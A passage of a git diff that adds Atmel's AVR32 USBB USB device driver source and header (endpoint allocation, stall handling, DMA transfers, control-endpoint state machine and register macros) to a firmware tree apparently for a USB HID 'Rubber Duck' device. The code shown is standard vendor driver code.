(Is_udd_endpoint_enabled(ep)) + return false; + + // Bank choise + switch(bmAttributes&USB_EP_TYPE_MASK) { + case USB_EP_TYPE_ISOCHRONOUS: + bank = UDD_ISOCHRONOUS_NB_BANK; + break; + case USB_EP_TYPE_INTERRUPT: + bank = UDD_INTERRUPT_NB_BANK; + break; + case USB_EP_TYPE_BULK: + bank = UDD_BULK_NB_BANK; + break; + default: + Assert(false); + return false; + } + switch(bank) { + case 1: + bank = AVR32_USBB_UECFG0_EPBK_SINGLE; + break; + case 2: + bank = AVR32_USBB_UECFG0_EPBK_DOUBLE; + break; + case 3: + bank = AVR32_USBB_UECFG0_EPBK_TRIPLE; + break; + } + + // Check if endpoint size is 8,16,32,64,128,256,512 or 1023 + Assert(MaxEndpointSize < 1024); + Assert((MaxEndpointSize == 1023) || !(MaxEndpointSize & (MaxEndpointSize - 1))); + Assert(MaxEndpointSize >= 8); + + // Set configuration of new endpoint + udd_configure_endpoint(ep, bmAttributes, (b_dir_in ? 1 : 0), + MaxEndpointSize, bank); + ep_allocated = 1 << ep; + + // Unalloc endpoints superior + for (i = USB_DEVICE_MAX_EP; i > ep; i--) { + if (Is_udd_endpoint_enabled(i)) { + ep_allocated |= 1 << i; + udd_disable_endpoint(i); + udd_unallocate_memory(i); + } + } + + // Realloc/Enable endpoints + for (i = ep; i <= USB_DEVICE_MAX_EP; i++) { + if (ep_allocated & (1 << i)) { + udd_allocate_memory(i); + udd_enable_endpoint(i); + if (!Is_udd_endpoint_configured(i)) + return false; + } + } + return true; +} + + +void udd_ep_free(udd_ep_id_t ep) +{ + udd_disable_endpoint(ep & USB_EP_ADDR_MASK); + udd_unallocate_memory(ep & USB_EP_ADDR_MASK); + udd_ep_abort_job(ep); +} + + +bool udd_ep_is_halted(udd_ep_id_t ep) +{ + return Is_udd_endpoint_stall_requested(ep & USB_EP_ADDR_MASK); +} + + +bool udd_ep_set_halt(udd_ep_id_t ep) +{ + uint8_t index = ep & USB_EP_ADDR_MASK; + + if (USB_DEVICE_MAX_EP < index) + return false; + if (Is_udd_bank_interrupt_enabled(index)) { + // Wait end of transfer (= no busy bank) before stall endpoint + udd_ep_job[index - 1].stall_requested = true; + } else { + // Stall endpoint + udd_enable_stall_handshake(index); + udd_reset_data_toggle(index); + } + udd_ep_abort_job(ep); + return true; +} + + +bool udd_ep_clear_halt(udd_ep_id_t ep) +{ + udd_ep_job_t *ptr_job; + + ep &= USB_EP_ADDR_MASK; + if (USB_DEVICE_MAX_EP < ep) + return false; + ptr_job = &udd_ep_job[ep - 1]; + + if (Is_udd_endpoint_stall_requested(ep) // Endpoint stalled + || ptr_job->stall_requested) { // Endpoint stall is requested + // Remove request to stall + ptr_job->stall_requested = false; + // Remove stall + udd_disable_stall_handshake(ep); + // If a job is register on clear halt action + // then execute callback + if (ptr_job->busy == true) { + ptr_job->busy = false; + ptr_job->call_nohalt(); + } + } + return true; +} + + +bool udd_ep_run(udd_ep_id_t ep, bool b_shortpacket, + uint8_t * buf, iram_size_t buf_size, + udd_callback_trans_t callback) +{ + bool b_dir_in; + uint32_t udd_dma_ctrl = 0; + udd_ep_job_t *ptr_job; + irqflags_t flags; + + b_dir_in = (USB_EP_DIR_IN == (ep & USB_EP_DIR_IN)); + ep &= USB_EP_ADDR_MASK; + if (USB_DEVICE_MAX_EP < ep) + return false; + + // Get job about endpoint + ptr_job = &udd_ep_job[ep - 1]; + + if ((!Is_udd_endpoint_enabled(ep)) + || Is_udd_endpoint_stall_requested(ep) + || ptr_job->stall_requested) + return false; // Endpoint is halted + + flags = cpu_irq_save(); + if (ptr_job->busy == true) { + cpu_irq_restore(flags); + return false; // Job already on going + } + ptr_job->busy = true; + cpu_irq_restore(flags); + + // The USBB supports a maximum transfer size of 64KB + if (0x10000 <= buf_size) { + // Transfer size = 64KB + ptr_job->buf_size = 0x10000; + buf_size = 0; + } else { + ptr_job->buf_size = buf_size; + if (b_dir_in && (0 != buf_size % udd_get_endpoint_size(ep))) { + // Force short packet option to send a shortpacket on IN, + // else the DMA transfer is accepted and interrupt DMA valid but nothing is sent. + b_shortpacket = true; + } + } + ptr_job->buf = buf; + ptr_job->call_trans = callback; + + // Start USB DMA to fill or read fifo of the selected endpoint + udd_endpoint_dma_set_addr(ep, (U32) buf); + if (b_shortpacket) { + if (b_dir_in) { + udd_dma_ctrl = AVR32_USBB_UDDMA1_CONTROL_DMAEND_EN_MASK; + } else { + udd_dma_ctrl = AVR32_USBB_UDDMA1_CONTROL_EOT_IRQ_EN_MASK + | + AVR32_USBB_UDDMA1_CONTROL_BUFF_CLOSE_IN_EN_MASK; + } + } + udd_dma_ctrl |= (buf_size << + AVR32_USBB_UDDMA1_CONTROL_CH_BYTE_LENGTH_OFFSET) + & AVR32_USBB_UDDMA1_CONTROL_CH_BYTE_LENGTH_MASK; + udd_dma_ctrl |= AVR32_USBB_UDDMA1_CONTROL_EOBUFF_IRQ_EN_MASK | + AVR32_USBB_UDDMA1_CONTROL_CH_EN_MASK; + udd_enable_endpoint_bank_autoswitch(ep); + udd_endpoint_dma_set_control(ep, udd_dma_ctrl); + flags = cpu_irq_save(); + udd_enable_endpoint_dma_interrupt(ep); + cpu_irq_restore(flags); + + return true; +} + + +void udd_ep_abort(udd_ep_id_t ep) +{ + // Stop DMA transfer + udd_endpoint_dma_set_control((ep & USB_EP_ADDR_MASK), 0); + udd_ep_abort_job(ep); +} + + +bool udd_ep_wait_stall_clear(udd_ep_id_t ep, + udd_callback_halt_cleared_t callback) +{ + udd_ep_job_t *ptr_job; + + ep &= USB_EP_ADDR_MASK; + if (USB_DEVICE_MAX_EP < ep) + return false; + ptr_job = &udd_ep_job[ep - 1]; + + if (!Is_udd_endpoint_enabled(ep)) + return false; // Endpoint not enabled + + // Wait clear halt endpoint + if (ptr_job->busy == true) + return false; // Job already on going + + if (Is_udd_endpoint_stall_requested(ep) + || ptr_job->stall_requested) { + // Endpoint halted then registes the callback + ptr_job->busy = true; + ptr_job->call_nohalt = callback; + } else { + // Enpoint not halted then call directly callback + callback(); + } + return true; +} +#endif // (0!=USB_DEVICE_MAX_EP) + + +#ifdef USB_DEVICE_HS_SUPPORT + +void udd_test_mode_j(void) +{ + udd_enable_hs_test_mode(); + udd_enable_hs_test_mode_j(); +} + + +void udd_test_mode_k(void) +{ + udd_enable_hs_test_mode(); + udd_enable_hs_test_mode_k(); +} + + +void udd_test_mode_se0_nak(void) +{ + udd_enable_hs_test_mode(); +} + + +void udd_test_mode_packet(void) +{ + uint8_t i; + uint8_t *ptr_dest; + const uint8_t *ptr_src; + irqflags_t flags; + + const uint8_t test_packet[] = { + // 00000000 * 9 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + // 01010101 * 8 + 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, + // 01110111 * 8 + 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, + // 0, {111111S * 15}, 111111 + 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xFF, 0xFF, + // S, 111111S, {0111111S * 7} + 0x7F, 0xBF, 0xDF, 0xEF, 0xF7, 0xFB, 0xFD, + // 00111111, {S0111111 * 9}, S0 + 0xFC, 0x7E, 0xBF, 0xDF, 0xEF, 0xF7, 0xFB, 0xFD, 0x7E + }; + + // Reconfigure control endpoint to bulk IN endpoint + udd_disable_endpoint(0); + udd_configure_endpoint(0, USB_EP_TYPE_BULK, 1, // IN + 64, AVR32_USBB_UECFG0_EPBK_SINGLE); + udd_allocate_memory(0); + udd_enable_endpoint(0); + + udd_enable_hs_test_mode(); + udd_enable_hs_test_mode_packet(); + + // Send packet on endpoint 0 + ptr_dest = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + ptr_src = test_packet; + for (i = 0; i < sizeof(test_packet); i++) { + *ptr_dest++ = *ptr_src++; + } + flags = cpu_irq_save(); + udd_enable_in_send_interrupt(0); + cpu_irq_restore(flags); + udd_ack_in_send(0); +} +#endif // USB_DEVICE_HS_SUPPORT + + + +//-------------------------------------------------------- +//--- INTERNAL ROUTINES TO MANAGED THE CONTROL ENDPOINT + +static void udd_reset_ep_ctrl(void) +{ + irqflags_t flags; + // Reset USB address to 0 + udd_configure_address(0); + udd_enable_address(); + // Alloc and configure control endpoint + udd_configure_endpoint(0, + USB_EP_TYPE_CONTROL, + 0, + USB_DEVICE_EP_CTRL_SIZE, AVR32_USBB_UECFG0_EPBK_SINGLE); + + udd_allocate_memory(0); + udd_enable_endpoint(0); + flags = cpu_irq_save(); + udd_enable_setup_received_interrupt(0); + udd_enable_out_received_interrupt(0); + udd_enable_endpoint_interrupt(0); + cpu_irq_restore(flags); +} + +static void udd_ctrl_init(void) +{ + irqflags_t flags; + flags = cpu_irq_save(); + // In case of abort of IN Data Phase: + // No need to abort IN transfer (rise TXINI), + // because it is automatically done by hardware when a Setup packet is received. + // But the interrupt must be disabled to don't generate interrupt TXINI + // after SETUP reception. + udd_disable_in_send_interrupt(0); + cpu_irq_restore(flags); + // In case of OUT ZLP event is no processed before Setup event occurs + udd_ack_out_received(0); + + udd_g_ctrlreq.callback = NULL; + udd_g_ctrlreq.over_under_run = NULL; + udd_g_ctrlreq.payload_size = 0; + udd_ep_control_state = UDD_EPCTRL_SETUP; +} + + +static void udd_ctrl_setup_received(void) +{ + irqflags_t flags; + uint8_t i; + + if (UDD_EPCTRL_SETUP != udd_ep_control_state) { + // May be a hidden DATA or ZLP phase + // or protocol abort + udd_ctrl_endofrequest(); + // Reinitializes control endpoint management + udd_ctrl_init(); + } + // Fill setup request structure + if (8 != udd_byte_count(0)) { + udd_ctrl_stall_data(); + udd_ack_setup_received(0); + return; // Error data number doesn't correspond to SETUP packet + } + uint32_t *ptr = (uint32_t *) & udd_get_endpoint_fifo_access(0, 32); + for (i = 0; i < 8 / 4; i++) { + ((uint32_t *) & udd_g_ctrlreq.req)[i] = *ptr++; + } + // Manage LSB/MSB to fit with CPU usage + udd_g_ctrlreq.req.wValue = le16_to_cpu(udd_g_ctrlreq.req.wValue); + udd_g_ctrlreq.req.wIndex = le16_to_cpu(udd_g_ctrlreq.req.wIndex); + udd_g_ctrlreq.req.wLength = le16_to_cpu(udd_g_ctrlreq.req.wLength); + + // Decode setup request + if (udc_process_setup() == false) { + // Setup request unknow then stall it + udd_ctrl_stall_data(); + udd_ack_setup_received(0); + return; + } + udd_ack_setup_received(0); + + if (Udd_setup_is_in()) { + // Compute if an IN ZLP must be send after IN data + udd_ctrl_payload_need_in_zlp = + ((udd_g_ctrlreq.payload_size % + USB_DEVICE_EP_CTRL_SIZE) == 0); + // IN data phase requested + udd_ctrl_prev_payload_nb_trans = 0; + udd_ctrl_payload_nb_trans = 0; + udd_ep_control_state = UDD_EPCTRL_DATA_IN; + udd_ctrl_in_sent(); // Send first data transfer + } else { + if (0 == udd_g_ctrlreq.req.wLength) { + // No data phase requested + // Send IN ZLP to ACK setup request + udd_ctrl_send_zlp_in(); + return; + } + // OUT data phase requested + udd_ctrl_prev_payload_nb_trans = 0; + udd_ctrl_payload_nb_trans = 0; + udd_ep_control_state = UDD_EPCTRL_DATA_OUT; + // To detect a protocol error, enable nak interrupt on data IN phase + udd_ack_nak_in(0); + flags = cpu_irq_save(); + udd_enable_nak_in_interrupt(0); + cpu_irq_restore(flags); + } +} + + +static void udd_ctrl_in_sent(void) +{ + uint16_t nb_remain; + uint8_t i; + uint8_t *ptr_dest, *ptr_src; + irqflags_t flags; + + flags = cpu_irq_save(); + udd_disable_in_send_interrupt(0); + cpu_irq_restore(flags); + + if (UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP == udd_ep_control_state) { + // ZLP on IN is sent, then valid end of setup request + udd_ctrl_endofrequest(); + // Reinitializes control endpoint management + udd_ctrl_init(); + return; + } + Assert(udd_ep_control_state == UDD_EPCTRL_DATA_IN); + + nb_remain = udd_g_ctrlreq.payload_size - udd_ctrl_payload_nb_trans; + if (0 == nb_remain) { + // All content of current buffer payload are sent + if (!udd_ctrl_payload_need_in_zlp) { + // It is the end of data phase, because the last data packet is a short packet + // then generate an OUT ZLP for handshake phase. + udd_ctrl_send_zlp_out(); + return; + } + if ((udd_g_ctrlreq.req.wLength > (udd_ctrl_prev_payload_nb_trans + + + udd_g_ctrlreq. + payload_size)) + || (!udd_g_ctrlreq.over_under_run) + || (!udd_g_ctrlreq.over_under_run())) { + // Underrun or data packet complette than send zlp on IN (note don't change DataToggle) + udd_ctrl_payload_need_in_zlp = false; + // nb_remain==0 allows to send a IN ZLP + } else { + // A new payload buffer is given + // Update number of total data sending by previous playlaod buffer + udd_ctrl_prev_payload_nb_trans += + udd_ctrl_payload_nb_trans; + // Update maangement of current playoad transfer + udd_ctrl_payload_nb_trans = 0; + nb_remain = udd_g_ctrlreq.payload_size; + // Compute if an IN ZLP must be send after IN data + udd_ctrl_payload_need_in_zlp = + ((udd_g_ctrlreq.payload_size % + USB_DEVICE_EP_CTRL_SIZE) + == 0); + } + } + // Continue transfer and send next data + if (nb_remain > USB_DEVICE_EP_CTRL_SIZE) { + nb_remain = USB_DEVICE_EP_CTRL_SIZE; + } + // Fill buffer of endpoint control + ptr_dest = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + ptr_src = udd_g_ctrlreq.payload + udd_ctrl_payload_nb_trans; + //** Critical section + // Only in case of DATA IN phase abort without USB Reset signal after. + // The IN data don't must be writed in endpoint 0 DPRAM during + // a next setup reception in same endpoint 0 DPRAM. + // Thereby, an OUT ZLP reception must check before IN data write + // and if no OUT ZLP is recevied the data must be written quickly (800us) + // before an eventually ZLP OUT and SETUP reception + flags = cpu_irq_save(); + if (Is_udd_out_received(0)) { + // IN DATA phase aborted by OUT ZLP + cpu_irq_restore(flags); + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP; + return; // Exit of IN DATA phase + } + // Write quickly the IN data + for (i = 0; i < nb_remain; i++) { + *ptr_dest++ = *ptr_src++; + } + udd_ctrl_payload_nb_trans += nb_remain; + + // Validate and send the data available in the control endpoint buffer + udd_ack_in_send(0); + udd_enable_in_send_interrupt(0); + // In case of abort of DATA IN phase, no need to enable nak OUT interrupt + // because OUT endpoint is already free and ZLP OUT accepted. + cpu_irq_restore(flags); +} + + +static void udd_ctrl_out_received(void) +{ + irqflags_t flags; + uint8_t i; + uint16_t nb_data; + + if (UDD_EPCTRL_DATA_OUT != udd_ep_control_state) { + if ((UDD_EPCTRL_DATA_IN == udd_ep_control_state) + || (UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP == + udd_ep_control_state)) { + // End of SETUP request: + // - Data IN Phase aborted, + // - or last Data IN Phase hidden by ZLP OUT sending quiclky, + // - or ZLP OUT received normaly. + udd_ctrl_endofrequest(); + } else { + // Protocol error during SETUP request + udd_ctrl_stall_data(); + } + // Reinitializes control endpoint management + udd_ctrl_init(); + return; + } + // Read data received during OUT phase + nb_data = udd_byte_count(0); + if (udd_g_ctrlreq.payload_size < (udd_ctrl_payload_nb_trans + nb_data)) { + // Payload buffer too small + nb_data = udd_g_ctrlreq.payload_size - + udd_ctrl_payload_nb_trans; + } + uint8_t *ptr_src = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + uint8_t *ptr_dest = udd_g_ctrlreq.payload + udd_ctrl_payload_nb_trans; + for (i = 0; i < nb_data; i++) { + *ptr_dest++ = *ptr_src++; + } + udd_ctrl_payload_nb_trans += nb_data; + + if ((USB_DEVICE_EP_CTRL_SIZE != nb_data) + || (udd_g_ctrlreq.req.wLength <= + (udd_ctrl_prev_payload_nb_trans + + udd_ctrl_payload_nb_trans))) + { + // End of reception because it is a short packet + // Before send ZLP, call intermediat calback + // in case of data receiv generate a stall + udd_g_ctrlreq.payload_size = udd_ctrl_payload_nb_trans; + if (NULL != udd_g_ctrlreq.over_under_run) { + if (!udd_g_ctrlreq.over_under_run()) { + // Stall ZLP + udd_ctrl_stall_data(); + // Ack reception of OUT to replace NAK by a STALL + udd_ack_out_received(0); + return; + } + } + // Send IN ZLP to ACK setup request + udd_ack_out_received(0); + udd_ctrl_send_zlp_in(); + return; + } + + if (udd_g_ctrlreq.payload_size == udd_ctrl_payload_nb_trans) { + // Overrun then request a new payload buffer + if (!udd_g_ctrlreq.over_under_run) { + // No callback availabled to request a new payload buffer + udd_ctrl_stall_data(); + // Ack reception of OUT to replace NAK by a STALL + udd_ack_out_received(0); + return; + } + if (!udd_g_ctrlreq.over_under_run()) { + // No new payload buffer delivered + udd_ctrl_stall_data(); + // Ack reception of OUT to replace NAK by a STALL + udd_ack_out_received(0); + return; + } + // New payload buffer available + // Update number of total data received + udd_ctrl_prev_payload_nb_trans += udd_ctrl_payload_nb_trans; + // Reinit reception on payload buffer + udd_ctrl_payload_nb_trans = 0; + } + // Free buffer of control endpoint to authorize next reception + udd_ack_out_received(0); + // To detect a protocol error, enable nak interrupt on data IN phase + udd_ack_nak_in(0); + flags = cpu_irq_save(); + udd_enable_nak_in_interrupt(0); + cpu_irq_restore(flags); +} + + +static void udd_ctrl_underflow(void) +{ + if (Is_udd_out_received(0)) + return; // underflow ignored if OUT data is received + + if (UDD_EPCTRL_DATA_OUT == udd_ep_control_state) { + // Host want to stop OUT transaction + // then stop to wait OUT data phase and wait IN ZLP handshake + udd_ctrl_send_zlp_in(); + } else if (UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP == udd_ep_control_state) { + // A OUT handshake is waiting by device, + // but host want extra IN data then stall extra IN data + udd_enable_stall_handshake(0); + } +} + + +static void udd_ctrl_overflow(void) +{ + if (Is_udd_in_send(0)) + return; // overflow ignored if IN data is received + + // The case of UDD_EPCTRL_DATA_IN is not managed + // because the OUT endpoint is already free and OUT ZLP accepted + + if (UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP == udd_ep_control_state) { + // A IN handshake is waiting by device, + // but host want extra OUT data then stall extra OUT data + udd_enable_stall_handshake(0); + } +} + + +static void udd_ctrl_stall_data(void) +{ + // Stall all packets on IN & OUT control endpoint + udd_ep_control_state = UDD_EPCTRL_STALL_REQ; + udd_enable_stall_handshake(0); +} + + +static void udd_ctrl_send_zlp_in(void) +{ + irqflags_t flags; + + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP; + // Validate and send empty IN packet on control endpoint + flags = cpu_irq_save(); + // Send ZLP on IN endpoint + udd_ack_in_send(0); + udd_enable_in_send_interrupt(0); + // To detect a protocol error, enable nak interrupt on data OUT phase + udd_ack_nak_out(0); + udd_enable_nak_out_interrupt(0); + cpu_irq_restore(flags); +} + + +static void udd_ctrl_send_zlp_out(void) +{ + irqflags_t flags; + + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP; + // No action is necessary to accept OUT ZLP + // because the buffer of control endpoint is already free + + // To detect a protocol error, enable nak interrupt on data IN phase + flags = cpu_irq_save(); + udd_ack_nak_in(0); + udd_enable_nak_in_interrupt(0); + cpu_irq_restore(flags); +} + + +static void udd_ctrl_endofrequest(void) +{ + // If a callback is registered then call it + if (udd_g_ctrlreq.callback) { + udd_g_ctrlreq.callback(); + } +} + + +static bool udd_ctrl_interrupt(void) +{ + + if (!Is_udd_endpoint_interrupt(0)) + return false; // No interrupt events on control endpoint + + // By default disable overflow and underflow interrupt + udd_disable_nak_in_interrupt(0); + udd_disable_nak_out_interrupt(0); + + + // Search event on control endpoint + if (Is_udd_setup_received(0)) { + // SETUP packet received + udd_ctrl_setup_received(); + return true; + } + if (Is_udd_in_send(0) && Is_udd_in_send_interrupt_enabled(0)) { + // IN packet sent + udd_ctrl_in_sent(); + return true; + } + if (Is_udd_out_received(0)) { + // OUT packet received + udd_ctrl_out_received(); + return true; + } + if (Is_udd_nak_out(0)) { + // Overflow on OUT packet + udd_ack_nak_out(0); + udd_ctrl_overflow(); + return true; + } + if (Is_udd_nak_in(0)) { + // Underflow on IN packet + udd_ack_nak_in(0); + udd_ctrl_underflow(); + return true; + } + return false; +} + + +//-------------------------------------------------------- +//--- INTERNAL ROUTINES TO MANAGED THE BULK/INTERRUPT/ISOCHRONOUS ENDPOINTS + +#if (0!=USB_DEVICE_MAX_EP) + +static void udd_ep_job_table_reset(void) +{ + uint8_t i; + for (i = 0; i < USB_DEVICE_MAX_EP; i++) { + udd_ep_job[i].busy = false; + udd_ep_job[i].stall_requested = false; + } +} + + +static void udd_ep_job_table_kill(void) +{ + uint8_t i; + // For each endpoint, kill job + for (i = 0; i < USB_DEVICE_MAX_EP; i++) { + udd_ep_finish_job(&udd_ep_job[i], true); + } +} + + +static void udd_ep_abort_job(udd_ep_id_t ep) +{ + ep &= USB_EP_ADDR_MASK; + // Abort job on endpoint + udd_ep_finish_job(&udd_ep_job[ep - 1], true); +} + + +static void udd_ep_finish_job(udd_ep_job_t * ptr_job, bool b_abort) +{ + if (ptr_job->busy == false) + return; // No on-going job + ptr_job->busy = false; + if (NULL == ptr_job->call_trans) + return; // No callback linked to job + ptr_job->call_trans((b_abort) ? UDD_EP_TRANSFER_ABORT : + UDD_EP_TRANSFER_OK, ptr_job->buf_size); +} + + +static bool udd_ep_interrupt(void) +{ + udd_ep_id_t ep; + udd_ep_job_t *ptr_job; + + // For each endpoint different of control endpoint (0) + for (ep = 1; ep <= USB_DEVICE_MAX_EP; ep++) { + // Check DMA event + if (Is_udd_endpoint_dma_interrupt_enabled(ep) + && Is_udd_endpoint_dma_interrupt(ep)) { + uint32_t nb_remaining; + udd_disable_endpoint_dma_interrupt(ep); + // Save number of data no transfered + nb_remaining = (udd_endpoint_dma_get_status(ep) & + AVR32_USBB_UDDMA1_STATUS_CH_BYTE_CNT_MASK) + >> + AVR32_USBB_UDDMA1_STATUS_CH_BYTE_CNT_OFFSET; + // Get job corresponding at endpoint + ptr_job = &udd_ep_job[ep - 1]; + // Update number of data transfered + ptr_job->buf_size -= nb_remaining; + + if (!Is_udd_endpoint_in(ep)) { + // Disable autoswitch bank on OUT + udd_disable_endpoint_bank_autoswitch(ep); + } else { + // Wait end of background transfer on IN endpoint before disabled autoswitch bank + udd_enable_endpoint_interrupt(ep); + udd_enable_bank_interrupt(ep); + } + // Call callback to signal end of transfer + udd_ep_finish_job(&udd_ep_job[ep - 1], false); + return true; + } + // Check empty bank interrupt event + if (Is_udd_endpoint_interrupt_enabled(ep) + && (0 == udd_nb_busy_bank(ep))) { + // End of background transfer on IN endpoint + udd_disable_bank_interrupt(ep); + udd_disable_endpoint_interrupt(ep); + // If no new transfer running then disable autoswitch bank + if (!udd_ep_job[ep - 1].busy) { + udd_disable_endpoint_bank_autoswitch(ep); + } + // If a stall has been requested during backgound transfer then execute it + if (udd_ep_job[ep - 1].stall_requested) { + udd_ep_job[ep - 1].stall_requested = false; + udd_enable_stall_handshake(ep); + udd_reset_data_toggle(ep); + } + return true; + } + } + return false; +} +#endif // (0!=USB_DEVICE_MAX_EP) + +//@} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_device.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_device.h new file mode 100755 index 0000000..834f926 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_device.h @@ -0,0 +1,564 @@ +/** + * \file + * + * \brief USBB Device Driver header file. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _USBB_DEVICE_H_ +#define _USBB_DEVICE_H_ + +#include "compiler.h" +#include "preprocessor.h" + + +//! \ingroup usb_device_group +//! \defgroup udd_group USB Device Driver (UDD) +//! USBB low-level driver for USB device mode +//! +//! @warning Bit-masks are used instead of bit-fields because PB registers +//! require 32-bit write accesses while AVR32-GCC 4.0.2 builds 8-bit +//! accesses even when volatile unsigned int bit-fields are specified. +//! @{ + +//! @name USBB Device IP properties +//! These macros give access to IP properties +//! @{ + //! Get maximal number of endpoints +#define UDD_get_endpoint_max_nbr() (((Rd_bitfield(AVR32_USBB_ufeatures, AVR32_USBB_UFEATURES_EPT_NBR_MAX_MASK) - 1) & ((1 << AVR32_USBB_UFEATURES_EPT_NBR_MAX_SIZE) - 1)) + 1) +//! @} + +//! @name USBB Device speeds management +//! @{ + //! Enable/disable device low-speed mode +#define udd_low_speed_enable() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_LS_MASK)) +#define udd_low_speed_disable() (Clr_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_LS_MASK)) + //! Test if device low-speed mode is forced +#define Is_udd_low_speed_enable() (Tst_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_LS_MASK)) + +#ifdef AVR32_USBB_UDCON_SPDCONF + //! Enable high speed mode +# define udd_high_speed_enable() (Wr_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_SPDCONF_MASK, 0)) + //! Disable high speed mode +# define udd_high_speed_disable() (Wr_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_SPDCONF_MASK, 3)) + //! Test if controller is in full speed mode +# define Is_udd_full_speed_mode() (Rd_bitfield(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_SPEED_MASK) == AVR32_USBB_USBSTA_SPEED_FULL) +#else +# define udd_high_speed_enable() do { } while (0) +# define udd_high_speed_disable() do { } while (0) +# define Is_udd_full_speed_mode() TRUE +#endif +//! @} + +//! @name USBB Device HS test mode management +//! @{ +#ifdef AVR32_USBB_UDCON_SPDCONF + //! Enable high speed test mode +# define udd_enable_hs_test_mode() (Wr_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_SPDCONF_MASK, 2)) +# define udd_enable_hs_test_mode_j() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_TSTJ_MASK)) +# define udd_enable_hs_test_mode_k() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_TSTK_MASK)) +# define udd_enable_hs_test_mode_packet() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_TSTPCKT_MASK)) +#endif +//! @} + +//! @name USBB Device vbus management +//! @{ +#define udd_enable_vbus_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_VBUSTE_MASK)) +#define udd_disable_vbus_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_VBUSTE_MASK)) +#define Is_udd_vbus_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_VBUSTE_MASK)) +#define Is_udd_vbus_high() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_VBUS_MASK)) +#define Is_udd_vbus_low() (!Is_udd_vbus_high()) +#define udd_ack_vbus_transition() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_VBUSTIC_MASK) +#define udd_raise_vbus_transition() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_VBUSTIS_MASK) +#define Is_udd_vbus_transition() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_VBUSTI_MASK)) +//! @} + + +//! @name USBB device attach control +//! These macros manage the USBB Device attach. +//! @{ + //! detaches from USB bus +#define udd_detach_device() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_DETACH_MASK)) + //! attaches to USB bus +#define udd_attach_device() (Clr_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_DETACH_MASK)) + //! test if the device is detached +#define Is_udd_detached() (Tst_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_DETACH_MASK)) +//! @} + + +//! @name USBB device bus events control +//! These macros manage the USBB Device bus events. +//! @{ + +//! Initiates a remote wake-up event +//! @{ +#define udd_initiate_remote_wake_up() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_RMWKUP_MASK)) +#define Is_udd_pending_remote_wake_up() (Tst_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_RMWKUP_MASK)) +//! @} + +//! Manage upstream resume event (=remote wakeup) +//! The USB driver sends a resume signal called "Upstream Resume" +//! @{ +#define udd_enable_remote_wake_up_interrupt() 